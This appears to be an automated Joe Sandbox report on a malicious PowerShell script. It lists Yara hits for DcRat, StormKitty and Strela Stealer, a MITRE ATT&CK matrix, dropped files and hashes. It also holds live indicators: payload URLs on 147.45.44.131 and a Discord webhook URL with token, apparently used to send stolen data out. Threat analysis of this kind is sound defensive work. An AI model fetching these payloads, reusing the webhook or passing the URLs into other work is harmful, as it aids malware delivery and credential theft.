Source: Yara match	File source: 5.2.powershell.exe.29dec589c5a.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29debe9c1b2.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4016, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 4508, type: MEMORYSTR

Remote Access Functionality

Yara detected BrowserPasswordDump

Source: Yara match	File source: 5.2.powershell.exe.29dec589c5a.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29debe9c1b2.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4016, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 4508, type: MEMORYSTR

Yara detected DcRat

Source: Yara match

File source: 00000009.00000002.4582340011.0000000003204000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected StormKitty Stealer

Source: Yara match	File source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4016, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 4508, type: MEMORYSTR

Yara detected Strela Stealer

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 4016, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	131 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	312 Process Injection	111 Obfuscated Files or Information	LSASS Memory	24 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Software Packing	Security Account Manager	241 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	2 Registry Run Keys / Startup Folder	2 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	151 Virtualization/Sandbox Evasion	SSH	Keylogging	22 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	151 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	312 Process Injection	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
sfqbr.ps1	3%	Virustotal		Browse
sfqbr.ps1	3%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.dll	100%	Avira	HEUR/AGEN.1300034
C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.dll	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://147.45.44.131/infopage/utres.exe	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/grwsx.exe	0%	Avira URL Cloud	safe
http://147.45.H	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/sfxqr.ps1S	0%	Avira URL Cloud	safe
http://147.45.Hr	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/wertxcp.bat	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/sfxqr.ps1A	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/sfxqr.ps1USERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUS	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/sfxqr.ps1USERDOMAIN=user-PCUSERD	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/sfxqr.ps1.	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/sfxqr.ps1	0%	Avira URL Cloud	safe
http://www.microsoft.pkio	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/sfxqr.ps1userdo	0%	Avira URL Cloud	safe
http://147.45.44	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
18.31.95.13.in-addr.arpa	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://147.45.44.131/infopage/grwsx.exe	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/wertxcp.bat	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/sfxqr.ps1	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://147.45.44.131/infopage/utres.exe	powershell.exe, 00000005.00000002.2255186878.0000029DDDAB6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2255186878.0000029DDC076000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2351543460.0000029DF4120000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000007.00000003.2191430981.000001EEBBEE2000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000007.00000003.2192728985.000001EEBD7AB000.00000004.00001000.00020000.00000000.sdmp, csc.exe, 00000007.00000003.2191275065.000001EEBBEF3000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000007.00000003.2191515346.000001EEBBEF3000.00000004.00000020.00020000.00000000.sdmp, nfy3200k.dll.7.dr, nfy3200k.0.cs.5.dr	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000000.00000002.2177874216.0000027EBA27F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2177874216.0000027EBA13C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEBBD9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000005.00000002.2255186878.0000029DDBE0F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.H	powershell.exe, 00000005.00000002.2255186878.0000029DDDA9A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000005.00000002.2255186878.0000029DDBE0F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000000.00000002.2146890283.0000027EAAD02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2255186878.0000029DDCAE4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.44.131/infopage/sfxqr.ps1S	csc.exe, 00000007.00000002.2193370475.000001EEBBE68000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://discordapp.com/api/v6/users/	RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000005.00000002.2322702408.0000029DEBBD9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000005.00000002.2322702408.0000029DEBBD9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.Hr	powershell.exe, 00000005.00000002.2255186878.0000029DDDAB6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.microsoft.	powershell.exe, 00000005.00000002.2351616241.0000029DF4177000.00000004.00000020.00020000.00000000.sdmp	false		high
http://147.45.44.131/infopage/sfxqr.ps1USERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUS	RegAsm.exe, 00000009.00000002.4602307651.0000000006480000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000005.00000002.2255186878.0000029DDBE0F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://urn.to/r/sds_seeaCould	powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://james.newtonking.com/projects/json	RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://www.newtonsoft.com/jsonschema	powershell.exe, 00000005.00000002.2255186878.0000029DDC076000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://147.45.44.131	powershell.exe, 00000000.00000002.2146890283.0000027EAB975000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2255186878.0000029DDDA12000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2255186878.0000029DDBFA2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.44.131/infopage/sfxqr.ps1A	cvtres.exe, 00000008.00000002.2191070716.00000226E6ED9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/14436606/23354cIt	powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://ipinfo.io/ip	powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://github.com/LimerBoy/StormKitty	powershell.exe, 00000005.00000002.2255186878.0000029DDDAB6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2255186878.0000029DDC076000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/11564914/23354;	powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://discord.com/api/webhooks/1016614786533969920/fMJOOjA1pZqjV8_s0JC86KN9Fa0FeGPEHaEak8WTADC18s5	powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000005.00000002.2322702408.0000029DEBBD9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000000.00000002.2177874216.0000027EBA27F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2177874216.0000027EBA13C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEBBD9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.44.131/infopage/sfxqr.ps1.	powershell.exe, 00000005.00000002.2253725513.0000029DD9D42000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/sfxqr.ps1USERDOMAIN=user-PCUSERD	powershell.exe, 00000005.00000002.2348971545.0000029DF3D59000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/sfxqr.ps1userdomain=user-PCuserdomain_roamingprofile=user-PCus	cvtres.exe, 00000008.00000002.2190952003.00000226E6E60000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore68	powershell.exe, 00000000.00000002.2146890283.0000027EAA0D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2255186878.0000029DDBB51000.00000004.00000800.00020000.00000000.sdmp	false		high
https://urn.to/r/sds_see	powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.2146890283.0000027EAA0D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2255186878.0000029DDBB51000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4582340011.0000000003031000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.microsoft.pkio	powershell.exe, 00000005.00000002.2351616241.0000029DF4177000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44	powershell.exe, 00000000.00000002.2146890283.0000027EAB702000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2255186878.0000029DDD7B5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/sfxqr.ps1userdo	csc.exe, 00000007.00000003.2191411279.000001EEBBF06000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000007.00000002.2193640224.000001EEBBF06000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000007.00000003.2191275065.000001EEBBF06000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
147.45.44.131	unknown	Russian Federation		2895	FREE-NET-ASFREEnetEU	false
94.130.22.61	unknown	Germany		24940	HETZNER-ASDE	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1585139
Start date and time:	2025-01-07 06:11:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	sfqbr.ps1
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winPS1@16/18@1/2
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 91% Number of executed functions: 63 Number of non-executed functions: 4
Cookbook Comments:	Found application associated with file extension: .ps1 Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.22.50.131, 2.22.50.144, 13.107.246.45, 20.12.23.50, 13.95.31.18, 20.109.210.53
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-b-net.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net
Execution Graph export aborted for target powershell.exe, PID 4980 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:11:57	API Interceptor	51x Sleep call for process: powershell.exe modified
00:12:11	API Interceptor	8124666x Sleep call for process: RegAsm.exe modified
06:12:00	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\App.url

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
147.45.44.131	CKi4EZWZsC.ps1	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131/infopage/tvsqyp.exe
	iviewers.dll	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131/infopage/ersyb.exe
	wrcaf.ps1	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131/infopage/ersyb.exe
	iubn.ps1	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131/infopage/ersyb.exe
	rwvg1.exe	Get hash	malicious	DcRat, KeyLogger, StormKitty, VenomRAT	Browse	147.45.44.131/infopage/ersyb.exe
	2 ps1.ps1	Get hash	malicious	KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131/infopage/ersyb.exe
	vfrcxq.ps1	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131/infopage/yijth.exe
	vfdjo.exe	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, VenomRAT	Browse	147.45.44.131/infopage/yijth.exe
	gqub.bat	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131/infopage/yijth.exe
	trwsfg.ps1	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131/infopage/yijth.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	Vernales Restaurant-encrypted.pdf	Get hash	malicious	HTMLPhisher	Browse	199.232.210.172
	KHK0987.xlsx	Get hash	malicious	Unknown	Browse	199.232.214.172
	new.bat	Get hash	malicious	Unknown	Browse	199.232.214.172
	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	199.232.210.172
	#Employee-Letter.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	Agent381.msi	Get hash	malicious	Unknown	Browse	199.232.210.172
	build.exe	Get hash	malicious	RedLine	Browse	199.232.214.172
	AZfDGVWF68.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	CKi4EZWZsC.ps1	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	199.232.214.172
	LZUCldA1ro.exe	Get hash	malicious	Unknown	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HETZNER-ASDE	http://yamjoop.site	Get hash	malicious	Unknown	Browse	116.203.80.157
	ZipThis.exe	Get hash	malicious	Unknown	Browse	5.161.105.73
	https://tfeweb.co.uk/signoff	Get hash	malicious	Unknown	Browse	144.76.9.200
	rHP_SCAN_DOCUME.exe	Get hash	malicious	FormBook	Browse	136.243.225.5
	https://sendbot.me/mousse-w0fysl7	Get hash	malicious	Unknown	Browse	88.198.57.50
	http://www.housepricesintheuk.co.uk	Get hash	malicious	Unknown	Browse	178.63.241.79
	getscreen-524501439-x86.exe	Get hash	malicious	Unknown	Browse	78.47.165.25
	getscreen-524501439-x86.exe	Get hash	malicious	Unknown	Browse	78.47.165.25
	getscreen-524501439.exe	Get hash	malicious	Unknown	Browse	5.75.168.191
	getscreen-524501439.exe	Get hash	malicious	Unknown	Browse	78.47.165.25
FREE-NET-ASFREEnetEU	hidakibest.sparc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.103.102.219
	hidakibest.x86.elf	Get hash	malicious	Mirai, Gafgyt	Browse	185.103.102.219
	hidakibest.arm5.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.103.102.219
	hidakibest.mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.103.102.219
	hidakibest.arm6.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.103.102.219
	hidakibest.mpsl.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.103.102.219
	hidakibest.arm4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.103.102.219
	hidakibest.ppc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.103.102.219
	hidakibest.arm7.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.103.102.219
	CKi4EZWZsC.ps1	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.144086598890895
Encrypted:	false
SSDEEP:	6:kK3F+kNF9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:8EsDnLNkPlE99SNxAhUe/3
MD5:	7D461885E6A0492E369BC7831392ED57
SHA1:	D5B178D0856B675A31080E2AAC0F59BE107053F4
SHA-256:	31D453FDC2ED4EBC89B33BF91293AE280C924969D9FDEF6C45974338C4067DC7
SHA-512:	9733F02603441515826CA1E50F0D2DB9FEE95C5E5A3FE45A77A34C32BC2B06F917CD9F3B97D7B31226395D2F4DE1E33E5476A6A699FB1CC0DB972764475E9236
Malicious:	false
Preview:	p...... .........@...`..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2832
Entropy (8bit):	5.418003316338724
Encrypted:	false
SSDEEP:	48:0AzsSU4Yymdo+ms4RKqr9tEoUQ/78NVuGxJZKaVEouYAgwd64rHLjtvz:0AzlHYv2sIKqrnl7KFJ5Eo9Adrxz
MD5:	E5D71D8DB7ED8F1EB4C974C8B7E87D0B
SHA1:	ED45D5A009786F90FF8758B4B8295C35AA7B6EC7
SHA-256:	DEC0154F313832B7C04064A2CF55837F4D18D6A36051BDE1FF2212A395B6F117
SHA-512:	1AEB1E3CB610FF5672A68DA3C2EECF7D79D516F2C4658C4D46D1327CE47E4114212B920876043B82CE1EB569934D032EBD48328AD9C678124C32051F16C5330B
Malicious:	false
